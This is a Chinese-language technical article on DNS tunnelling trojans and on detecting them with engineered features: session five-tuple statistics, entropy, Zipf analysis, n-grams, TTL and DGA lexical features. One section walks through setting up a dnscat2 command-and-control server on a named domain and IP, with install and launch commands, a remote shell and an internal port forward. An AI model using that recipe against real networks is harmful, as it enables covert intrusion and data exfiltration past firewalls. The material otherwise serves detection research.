DNS Tunnel隧道隱蔽通訊實驗 && 嘗試復現特徵向量化思惟方式檢測

1. DNS隧道簡介

DNS隧道技術是指利用 DNS協議創建隱蔽信 道,實現隱蔽數據傳輸。最先是在2004年 DanKaminsky 在 Defcon大會上發佈的基於 NSTX 的 DNS隱蔽 隧道工具，相關連接。

以後出現了愈來愈多的DNS隱蔽通道工具，例如

1. iodine: https://github.com/yarrick/iodine
This is a piece of software that lets you tunnel IPv4 data through a DNS server. This can be usable in different situations where internet access is firewalled, but DNS queries are allowed.

2. Dns2tcp: https://www.aldeid.com/wiki/Dns2tcp
Dns2tcp is a tool for relaying TCP connections over DNS. Among other things, it can be used to bypass captive portals (e.g. hotels, airport, ...) when only port 53/udp is allowed by the firewall.

3. tcp-over-dns: http://analogbit.com/software/tcp-over-dns/
tcp-over-dns contains a special dns server and a special dns client. The client and server work in tandem to provide a TCP (and now UDP too!) tunnel through the standard DNS protocol.

4. Heyoka: http://heyoka.sourceforge.net/
Heyoka is a Proof of Concept of an exfiltration tool which uses spoofed DNS requests to create a bidirectional tunnel. It aims to achieve both performance and stealth

5. Dnscat: https://wiki.skullsecurity.org/Dnscat
dnscat is designed in the spirit of netcat, allowing two hosts over the Internet to talk to each other. The major difference between dnscat and netcat, however, is that dnscat routes all traffic through the local (or a chosen) DNS server

DNS隧道思想能夠被用來進行繞過上網登陸認證，實現免費上網。同時這種「one protocol over the other protocol」的隧道思想還能夠被惡意軟件用來進行隱蔽通訊。

DNS隧道木馬帶來的威脅很大,並且 DNS隧 道木馬難以獲得有效的監控.一方面是由於 DNS報 文具備自然的穿透防火牆的能力;另外一方面,目前的 殺毒軟件、IDS等安全策略不多對 DNS報文進行有 效的監控管理。

DNS的記錄類型有不少，你們常見的有A，AAAA,CNAME,MX,SOA,NS等。DNS Tunneling能夠利用其中的一些記錄類型來傳輸數據。例如A，MX，CNAME,TXT，NULL等。

0x1：DNS隧道木馬分類

根據木馬工做原理的不一樣,將 DNS隧道木馬細 分爲IP直連型和域名型.

1. IP直連型 DNS隧道木馬

若是 DNS隧道木馬的服務器能夠與本地主機經過IP直接通訊，傳輸協議採用 DNS協議，則稱爲 IP直連型 DNS隧道木馬。

IP直連型 DNS隧道木馬的服務器端開放53端口，被控端利用 UDPsocket 套接字直接與C&C服務創建鏈接。在這種狀況下，二者傳輸的內容其實是基於 UDP服務。

這種木馬與傳統 UDP 木馬的最大不一樣點就是

1. 利用53端口進行傳輸交互數據，而53端口的外聯基本上在全部機器上都必須開放，不然則沒法使用互聯網DNS服務；
2. 精心構造傳輸的載荷內容，使其至少從格式上是符合DNS query包格式，由於若是攻擊者構造的UDP載荷內容不符合DNS報文格式，在 wireshark等流量分析工具的流量解析下，很容易出現 DNS報文異常的狀況；

2. 域名型 DNS隧道木馬 - DNS迭代查詢中繼隧道

域名型 DNS隧道木馬基本通訊架構以下圖所示

1. 被控端把要傳輸的內容封裝（protocol wrap）在dns query請求包中，發起一次正常的dns解析請求；
2. 當被控端向任意一臺DNS服務器請求該域名下的子域名時，本地 DNS服務器不管是經過遞歸查詢仍是迭代查詢，都會向外轉發這個DNS請求，最終這個DNS請求都會被送到黑客控制的權威NS服務器中（這意味着黑客必須事先配置好NS以及A記錄解析）；
3. NS服務器控制端解析請求報文，獲得被控端傳來的信息，而後將攻擊控制命令經過封裝在DNS響應報文中；
4. 從而實現雙方通訊，全部的通訊都必須由被控端（client端）主動發起，不斷回傳數據並接受新指令。

中繼過程當中的一個關鍵點是對DNS緩存機制的規避，由於若是須要解析的域名在Local DNS Server中已經有緩存時，Local DNS Server就不會轉發數據包。因此在咱們構造的請求中，每次查詢的域名都是不同的或者是已是過時的。這個特徵同時也包含了一個可用於檢測的規律，即在DNS tunnel的會話中，dns query host的數量會比正常狀況下要多，

對DNS載荷的編碼是DNS Tunneling的另外一個核心技術。從高層來看，載荷只是客戶端和服務器通訊的正常流量。

例如客戶端發送一個A記錄請求給服務器，查詢的主機名爲2roAUwBaCGRuc3R1bm5lbGluZwo.test.domain.com,其中2roAUwBaCGRuc3R1bm5lbGluZwo則是客戶端傳遞給服務器的信息，這串字符解碼後的信息即是dnstunneling。

最後，由於大多數場景下，內網的Client位於防火牆後，Server不可能發起鏈接。因此大多數工具，Client會定時向Server發送請求，保證兩者之間的通訊狀態。

3. IP直連型和域名解析型異同點

這2種方法雖然工做原理上存在差異，可是從流量角度上來看都是基於DNS協議，可是這裏在實際工程中也要注意，你旁路採集的方式可能會影響到你最終可否採集到完整的通訊日誌，例如若是你是採用記錄dns解析的方法，則可能會漏過udp ip直連的這種通訊方式，若是直接在網關上進行「端口和協議解析」則能夠保證全流量採集。

IP直連型 DNS隧道木馬直接與 DNS 服務器經過 UDPsocket通訊，所以通訊效率要比 域名型 DNS隧道木馬高，可是這種 DNS隧道木馬 致命的弱點是直接把IP暴露在網絡流量中，若是客 戶端指定信任的 DNS服務器解析 DNS服務，那麼 IP直連型 DNS隧道木馬就很容易被IP 黑白名單 封殺；

對於域名型 DNS隧道木馬而言，只要客戶機 能與任意一臺外網的 DNS服務器通訊，那麼域名型DNS隧道木馬就能夠工做，所以域名型 DNS隧道木 馬生存能力更強，隱蔽性更高，更適合進行隱蔽的控 制滲透任務。

 

2. Powershell+dnscat2實現DNS隱蔽隧道反彈Shell

0x1：C&C域名綁定

須要配置A記錄解析以及NS記錄

# NS記錄: 配置一個ns主機記錄，並將其指向咱們本身的A記錄，這樣，受控端在發起dns query請求的時候，會直接指定「dnsch.alihacker.xin」做爲dns ns server，而後經過A記錄解析到咱們的C&C服務器上，咱們在C&C服務器上監聽53端口的ruby程序才能獲取到dns query全文
dnsch.alihacker.xin -> ns.alihacker.xin
# 受控端的DNS C&C即爲: dnsch.alihacker.xin

# A記錄: 將某個dns host解析到C&C IP
ns.alihacker.xin -> 120.26.56.250

0x2：在C&C服務器上安裝DNS C&C Server

dnscat2這裏充當的角色是接受目標53端口的dns協議query解析請求，並構造response包返回。

安裝過程以下：

apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
#修改Gemfile source 'https://ruby.taobao.org/'
bundle install

啓動server端：

# 若是沒有域名的話，直接在外網VPS運行:
ruby ./dnscat2.rb -e open -c dnschcirrus --no-cache
# 若是配置好了DNS的解析:
# -e參數能夠規定安全級別，open表明讓客戶端進行選擇
# -c參數定義了pre-shared secret，在服務器端和客戶端使用相同加密的祕密dnschcirrus，能夠防止man-in-the-middle攻擊，不然傳輸數據並未加密，有可能被監聽網絡流量的第三方還原。命令行中，若是不加定義，dnscat2 server會生成一個字符串，記得拷貝下來在啓動客戶端時使用。
# --no-cache，若是使用powershell客戶端請務必在運行服務器時添加無緩存選項，由於powershell-dnscat2客戶端與dnscat2服務器的caching模式不兼容
ruby ./dnscat2.rb yourdomain -e open -c dnschcirrus --no-cache
ruby ./dnscat2.rb dnsch.alihacker.xin -e open -c dnschcirrus --no-cache

0x3：部署客戶端dnscat2 client

dnscat2有exe版本以及powershell版本，相比之下，powershell的不落盤特性更好。本質上代碼邏輯是同樣的。

# pre-share secret要保持一致
./dnscat --dns=server=120.26.56.250 --secret=dnschcirrus
./dnscat --dns=server=dnsch.alihacker.xin --secret=dnschcirru
# 若是是採用dns解析方式上線
./dnscat xiaohantest.blankwater.cc --secret=dnschcirrus

0x4：鏈接創建後，C&C控制端能夠執行指令

1. 獲取shell

# 切換到session 1，session 1是新鏈接上來的dnscat client
session -i 1 
# 經過help能夠看到支持的命令
help 
# 新生成一個session
shell 
# 經過session -i 2 切過去，此時得到的shell就是cmdshell
session -i 2

2. 端口轉發

session -i id
listen 4444 10.211.55.19:22 #將內網10.211.55.19的22端口轉發到本地的4444

而後直接ssh本地的ip的4444端口

0x5：wireshark抓包分析

1. UDP直連模式

能夠看到，dnscat經過dns協議的query請求，封裝了加密後的指令執行結果。

同時還注意到，全部dns包的udp五元組都是相同的，受控端和C&C複用了同一個udp會話進行dns隧道通訊，咱們能夠基於這個特色對dns的日誌進行udp五元組的聚類，在udp五元組會話的基礎上進行特徵工程。

2. 域名解析模型

咱們注意到，主要使用了CNAME、MX、以及TXT記錄的查詢。

Relevant Link:

https://mp.weixin.qq.com/s/5mDhzuGC2WEc8bdIjRg94w
http://www.91ri.org/16386.html

 

3. 可用於DNS tunnel的檢測思路 - 基於UDP DNS會話

0x1：DNS query type成分組成異常檢測

1. DNS Tunnel

不少DNS Tunneling使用TXT記錄類型發送請求和響應（例如文件上傳等大數據量功能），而在正常的DNS網絡流量中，TXT記錄的比例可能只有1%-2%，若是時間窗口內，TXT記錄的比例激增，那麼也意味着可能存在異常。

2. DNS FF Botnet

另外，在FF Botnet中，NXDOMAIN的比例也會比正常狀況下要高。

3. DNS Query types Numbers

the DNS querying of the botnet is mainly to find the IP address of the C&C, then the number of querying types are limited and the four main query types are A, AAAA, MX and NS. However, the types of benign name querying are more than those, which may additionally include ANY, TXT, SRV, SOA, CNAME, A6 and so on.

統計一個session會話中的dns type數量

Relevant Link:

https://en.wikipedia.org/wiki/List_of_DNS_record_types

0x2：基於Zipf定律的異常檢測 - Frequency Analysis

在Detecting DNS Tunnels Using Character Frequency Analysis論文中，證實了還能夠經過詞頻的檢測識別DNS Tunneling的流量。

根據Zipf定律，在天然語言的語料庫裏，詞頻每每會集中於某些小子集中，而且高頻詞到低頻次的頻率逐漸降低。

而在這篇論文中，證實了DNS Tunneling中因爲域名作了編碼，不符合Zipf定律（例如dns2tcp），整個分佈趨於平穩。

咱們能夠經過檢測排序後的詞頻平均斜率來檢測inputstring是否符合zipf law規律。

# -*- coding:utf-8 -*-

from operator import itemgetter

if __name__ == '__main__':
    dns_query_buf = 'dnscat.0569013e35bca63ff4bbb7012746468a8ddd1e264925a8a35a8236706a81.5b1ee76326594ced6a8822da3090f057e588c2df2d804f3fb04ad9c42d7b.5a15272d5b32f858f8301d7da834e170aa725d57926317c0dd70b01975bb.37ee8c892b5c1b16e3d41d79466d2ba'
    frequency = {}

    # uni char frequency count
    for word in dns_query_buf:
        count = frequency.get(word, 0)
        frequency[word] = count + 1

    # calculate the mean cumulative slope(平均累積斜率)
    last_cn = None
    cumulative_slope = 0
    for k, v in reversed(sorted(frequency.items(), key=itemgetter(1))):
        if not last_cn:     # init start
            last_cn = v
            continue
        cumulative_slope += (v - last_cn)
    cumulative_slope = cumulative_slope / len(frequency)
    print "cumulative_slope: ", cumulative_slope

Relevant Link:

https://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.zipf.html 
https://code.tutsplus.com/tutorials/how-to-use-python-to-find-the-zipf-distribution-of-a-text-file--cms-26502
https://arxiv.org/pdf/1004.4358.pdf
https://stackoverflow.com/questions/43601074/zipf-distribution-how-do-i-measure-zipf-distribution-using-python-numpy
https://cloud.tencent.com/developer/article/1040276

0x3：DNS query/answer文本特徵

1. n-gram文本特徵

經過2-gram/3-gram提取惡意dns query的文本特徵，參與訓練。

2. 基於CNN深度神經網絡，從文本角度判斷單條DNS query是否存在可疑Tunnel特徵

3. Query/Answer長度特徵

, AVG(LENGTH(query_name)) AS queryname_avg  -- Query Length Average 
, MAX(LENGTH(query_name)) AS queryname_max  -- Longest/Shortest Meaningful Word Length Average
, MIN(LENGTH(query_name)) AS queryname_min
-- 13. Answer長度特徵
, AVG(LENGTH(anwser_name)) AS answername_avg  -- Answer Length Average 
, MAX(LENGTH(anwser_name)) AS answername_max  -- Longest/Shortest Meaningful Word Length Average
, MIN(LENGTH(anwser_name)) AS answername_min

廣泛來講：

dns tunnel工具產生的dns query會比較長，由於要附帶client的信息回傳；

dns answer會比較短，由於只要傳輸指令，甚至指令action code便可

Relevant Link:

https://github.com/BoneLee/dns_tunnel_dectect_with_CNN http://www.freebuf.com/articles/network/158163.html

0x4：基於會話聚類維度的DNS tunnel行爲特徵

在網絡通訊中，由【源IP地址、源端口、傳輸層協議、目的IP地址、目的端口】這5個量組成的一個集合，稱之爲五元組，任意一個數據包均可以將其表示爲五元組。五元組可以區分不一樣會話，而且對應的會話是惟一的。

研究單個DNS報文並不能從時間區間維度刻畫出完整的DNS隧道木馬的行爲，咱們能夠經過對五元組進行歸併聚類，從DNS會話的角度分析隧道木馬流量。

其依據是DNS隧道木馬在通訊過程當中通訊雙方所扮演的角色和通訊模式與正常DNS解析行爲具備顯著的差別性（數據中包含必定的規律）

1. DNS會話時長

TCP會話在創建通訊過程當中存在「三次握手」和斷開鏈接的「四次握手」行爲，所以TCP會話能夠計算會話時長。

DNS會話屬於 UDP 會話的其中一種，因爲UDP無鏈接的特性，DNS沒有會話時長的嚴格定義。定義在一次DNS會話中，最後一個DNS報文的時間和第一個DNS報文的時間差就做爲這個 DNS會話的時長。

正常狀況下，一次DNS解析過程首先由客戶機在本地隨機開啓一個 UDP 端口，而後向指定的DNS服務器53端口發送DNS請求報文，二者由此創建一個 UDP通道。客戶機一旦獲得相應DNS回覆報文，這個 DNS解析過程就結束了，若是沒有後繼的DNS解析任務，建立的 UDP套接字會保存一段時間而後關閉，完成一次 DNS 會話，再次進行DNS解析的時候，再隨機開啓另外一個UDP端口，重複上述過程。所以，正常域名解析DNS會話的時間短；

對於DNS隧道木馬而言，建立的 UDP 套接字 一般會等到木馬下線或者木馬生命結束才關閉，UDP套接字會被複用，致使 DNS 隧道木馬的 DNS 會話時長遠大於正常DNS會話時長。

2. DNS會話中數據包總數

由於DNS隧道木馬的會話通常隨着木馬生命週期的結束而結束，在整個木馬的生命週期裏會向外發送心跳報文、傳輸本機敏感信息、資源文件等，控制端會下達相關的遠程控制指令等。因此在 DNS 隧道木馬會話中 DNS報文數量大。

然而，正常客戶端產生的DNS會話隨着一次DNS解析任務結束而結束，DNS會話比較簡短。大多數狀況是2個，由1個DNS請求報文和1個DNS響應報文組成。

3. 「上行大包」佔請求報文總數的比例

在DNS請求報文中，若是queries字段字節數大於50，那麼定義該DNS請求報文爲上行大包。

DNS隧道木馬被控端把要傳輸的內容封裝在queries字段的域名中，DNS隧道木馬爲了在一次傳輸過程當中攜帶儘量多的隱蔽信息，每每形成queries字段中的域名長度偏長。

與正常DNS會話相比，DNS隧道木馬會話中「上行大包」佔請求報文總數的比例較大。

另外一方面，若是攻擊者爲規避檢測，強制split拆分構造相對短小的域名，從而減小每次發送的報文攜帶的隱蔽通訊內容。當被控端傳送某一固定的敏感資源文件，因爲傳送的資源文件大小是固定的,若是犧牲一次攜帶的隱蔽信息的內容，勢必形成整個DNS會話的DNS報文總數的增長。

可知,在一次 DNS隧道木馬的會話中，DNS報文總數和DNS報文長度是負相關的。所以咱們基於該規律構造一我的工複合特徵，即 DNS報文總數 * 平均報文長度 = 總的報文length。

4. 「下行小包」佔響應報總數的比例

DNS隧道木馬在交互過程當中，控制端發送的控制命令通常有特定含義，且短小精簡，所以DNS隧道回覆報文通常是「下行小包」。

對於正常本機DNS解析請求而言，客戶機是資源請求者，DNS服務器返回的數據除了answers字段外，還常常返回受權和額外信息字段信息，所以正常的 DNS響應報文相對較大。

咱們定義以下：將 DNS應答報文中answers字段字節數小於50的數據包稱爲「下行小包」。

5. 有效載荷的上傳下載比

DNS會話報文中的有效載荷是指DNS報文中除去DNS報文頭部剩下的queries字段和answers字段、受權和額外信息字段的內容。

DNS隧道木馬在和控制端交互通訊時，DNS隧道木馬控制端向被控端發送少許的控制命令，被控端須要回傳大量的本機敏感資源文件數據。

然而，正常DNS解析狀況恰好相反，客戶端DNS請求報文一般短小，而DNS服務器返回的數據信息比較多。所以DNS隧道木馬會話的上傳下載比例比通常正常的DNS會話大。

6. 有效載荷部分是否加密

DNS協議是一種明文傳輸協議，DNS隧道木馬出於提升通訊內容隱蔽性的須要，每每會對通訊數據進行加密，所以把加密的DNS數據做爲可疑的DNS隧道木馬通訊的一個特徵。爲了提升特徵工程速度，咱們可使用信息熵做爲是否存在加密的衡量標準。

7. 域名對應的主機名數量

對於DNS隧道木馬而言，控制端要不斷藉助DNS qury的query_name來承載要傳輸的內容，因此從主機數量這個維度來看，在一個DNS tunnel會話中，域名對應的主機名數量會明顯大於正常的DNS通訊。

8. FQDN數異常檢測

域名有全稱和簡稱的區別。全稱的域名，直譯爲"徹底的合格的域名"(FQDN，Fully Qualified Domain Name)，表現爲由"·"隔開的點分式層次結構，叫名稱空間， 它指定了一臺主機和它所屬域的隸屬關係，而簡稱一般就是這臺主機的計算機名，在域名的最左邊。

能夠這麼說FQDN(徹底合格的域名)，是域加計算機名的總稱。好比: www.microsoft.com 這個FQDN 中，www 是主機名，microsoft.com 是域。 www+microsoft.com 組合在一塊就成了一個完整的域名(FQDN)。

能夠經過分析必定時間窗口內所產生的FQDN數，一般DNS Tunneling的FQDN數在必定時間窗口內會遠高於正常的DNS流量。

9. 總的query 報文Payload載荷量

若是是正常的DNS交互，在一個會話中的總的數據data總量應該不會很是大。可是因爲dns tunnel須要進行指令和數據的傳輸，所以總的數據載荷會遠大於正常水平

0x5：響應時間相關特徵

1. Response wait time特徵

正常的dns server會在較短期內完成dns響應，而dns tunnel server因爲須要進行數據的解碼以及後續處理邏輯，響應時間會稍微較長

0x6：信息熵

能夠經過計算query和answer或者它們的平均的信息熵進行特徵化dns tunnel是否可能存在

0x7：發包頻率行爲

在實際的線上環境中，存在一些DNS Flood攻擊行爲，這部分攻擊觸發的行爲日誌很容易命中到DNS Tunnel模型，例如：

BQGGMMPCHJPKPBKCHDKJNPQFCMFCHIKONEPKCBEHHNKDMJPPBGEMHCJIMOOEBLE.BGHJNMDOJBQDGGMJCMIQOFFJLLBOHBODEGKIQLGOMQCDJGPIF.ns2.diaozhatian.me
JLMBOHPCDFDIOLFFHDKJNPQFCMFCHIKONEPKCBEHHNKDMJPPBGEMHCJIMOOEBLE.BGHJNMDOJBQDGGMJCMIQOFFJLLBOHBODEGKIQLGOMQCDJGPIF.ns2.diaozhatian.me

對於這種狀況，咱們須要將全部DNS會話包以前的間隔統計出來，計算它們的均值/方差等特徵

Relevant Link:

《基於通訊行爲分析的DNS隧道木馬檢測方法》pdf
https://arxiv.org/pdf/1709.08395.pdf
http://www.cnblogs.com/wuyuxiang/p/5166653.html
https://www.hindawi.com/journals/scn/2018/6137098/

 

4. 可用於DNS tunnel的檢測思路 - 基於DNS QUERY維度

0x1：Network Features - 網絡訪問行爲方面的特徵

1. 域名被訪問頻率角度特徵

除了從單臺主機上的異常dns session維度進行異常檢測，還能夠從dns query name的角度進行惡意dns name進行惡意檢測與打標。

1. Rare domains: Domain names of CnC servers are rare since they are seldom requested by legitimate users. 
2. Young domains: When a domain generation algorithm (DGA) is used the CnC server frequently acquires new domain names hence they tend to be recently registered. We use a massive daily updated data feed to map domain names to their registration date
3. Non-existent domain responses: When DGA is used, Botnets query many non-existing domains before they find the actual domain of their CnC server for that time

2. TTL (last seen - first seen)

The majority of the legitimate websites that provide high availability services uses TTL values between 600 and 3,600 seconds . On the other hand, malicious domain names tend to have smaller TTL values. In addition, Dynamic DNS providers frequently used to host domains related to malicious activity also use low TTL values

group by後計算
last seen - first seen 不用用原生的ttl

3. window

Malicious domain names used in botnets FF networks typically do not have a fixed set of machines. Over time, botnets will acquire new bots which will be introduced in the flux and certain bots might eventually be cleaned or disassociated from the botnet.

計算同一個dns name的answer的distinct數量

4. dns name change frequency

Legitimate domains that have load balancing due to the amount of traffic received, often do so by having multiple hosts associated to each domain name. Such is the case for CDNs. On the other hand, botmasters do not want to attract attention to the generated CnC traffic, as a consequence they often cycle the IP addresses associated to the CnC servers. In addition, the number of different TTL values can be used to identify malicious domains due to the fact that malicious domains might exhibit several changes, while one could expect benign domains to remain rather unchanged

With these three features we expect to measure how a domain changes over time.

F23 number of different answers 
F24 number of different values of TTL  

F25-27 1. Maximum TTL 2. Mean TTL 3. Variance of TTL

0x2：Lexical Features

Lexical特徵的原理是：

The rationale behind this set of features is related to the fact that many malicious domain names look like randomly generated (particularly in the case of DGAs) and often tend to look different [28]. Furthermore, legitimate domain names are typically user friendly, composed of native words and easy to remember. On the other hand, malicious domain names are not intended for human use so do not share such characteristics.

惡意DNS域名傾向於表現爲相似隨機字符串，而正常的DNS域名經常是可讀友好的、由簡單詞彙組成、易於記憶的。

1. 域名自己詞頻特徵層面特徵

詞頻特徵將經過[1,4]-gram的詞頻特徵得以體現

針對每條dns name（一次dns query/answer交互），咱們能夠將其抽象爲下列的詞頻特徵向量：

F1-3 1-gram 
1. mean
2. variance
3. standard deviation
4. range(極差)

F4-6 2-gram 
1. mean
2. variance
3. standard deviation
4. range(極差)

F7-9 3-gram 
1. mean
2. variance
3. standard deviation
4. range(極差)

F10-12 4-gram
1. mean
2. variance
3. standard deviation
4. range(極差)

2. 域名的香儂熵

calc_entropy(query_name) AS query_name_entropy

香儂熵體現了字符串詞頻混亂度的一種體現。詞頻分佈越平均（越混亂），香儂熵越大。

3. 字符分佈特徵 -可讀性/易讀性方面的體現

F15 Number of different characters 
F16 Number of digits / domain name length 
F17 Number of consonants / domain name length 
F18 Number of consonants / number of vowels

通常來講，一個易讀、容易記憶的域名中，元音、輔音、數字的佔比會呈現出必定的規律，而相似DGA那種隨機化的域名則不知足該規律。

0x3：DNS session會話相關特徵 

1. Number of IP subnetworks

While corporate domains tend to allocate their machines within the same subnetwork or a small finite set of subnetworks, botnets harvests their bots from different locations, often randomly. As such, one can expect that domains used for FF, and associated with botnet activity, will have answers that belong to several different IP subnetworks

F34-36
1. A類CIDER地址數量
2. B類CIDER地址數量
3. C類CIDER地址數量

2. DNS對應的src_ip/dst_ip count相關特徵

APT attackers usually use servers residing in different countries to build C&C channel in order to evade detection. Moreover, attackers make use of fast flux to hide the true attack source. APT attacker changes the C&C domain to point to predefined IP addresses, such as look back address and invalid IP address. With this insight, we extracted three features from DNS request and response, such as the number of distinct source IP addresses, the number of distinct IP addresses with the same domain, IP in the same country, and using the predefined IP addresses.

統計該dns name對應的session五元組的dst_ip/dst_port的數量 - 揭示FF bot特徵
還能夠加上A/B/C cider數量的統計

The botnet domains are only known to the bots, who will try to query them according to the botnet program. Therefore, the sources of the query messages are restricted to the areas where the bots exist.

統計該dns name對應的session五元組的src_ip/src_port的數量 - 揭示該dns name只被有限的botnet victim所訪問
還能夠加上A/B/C cider數量的統計

3. DNS query type組成成分相關特徵

the DNS querying of the botnet is mainly to find the IP address of the C&C, then the number of querying types are limited and the four main query types are A, AAAA, MX and NS. However, the types of benign name querying are more than those, which may additionally include ANY, TXT, SRV, SOA, CNAME, A6 and so on.

統計一個session會話中的dns type數量

0x4：DNS域名相關meta信息

1. whois-based features

Registration duration
Active duration
Update duration
Number of DNS

Relevant Link:

https://azure.microsoft.com/zh-cn/blog/large-scale-analysis-of-dns-query-logs-reveals-botnets-in-the-cloud/
Botnet Detection Using Passive DNS Master Thesis Pedro Marques da Luz   
z-thesis_pedroluz.pdf
https://www.certsi.es/en/blog/botnet-detection-dns
https://ieeexplore.ieee.org/document/7453917/
https://sci-hub.tw/https://ieeexplore.ieee.org/document/7453917/

 

5. 異常數據清洗

在進行模型預測以前，咱們須要先對原始數據進行清洗，避免大量的正常日誌數據進入預測，下降召回率和精確度。

0x1：基線異常過濾思路

將一臺主機上歷史（例如7天）不曾出現過的DNS query當作是基線異常，而對那部分一直在出現或者曾經發生過的query請求進行過濾。

0x2：無監督異常abnormal檢測算法

使用例如one-class svm異常檢測算法從原始數據中篩選出一批明顯區別於正常dns query請求。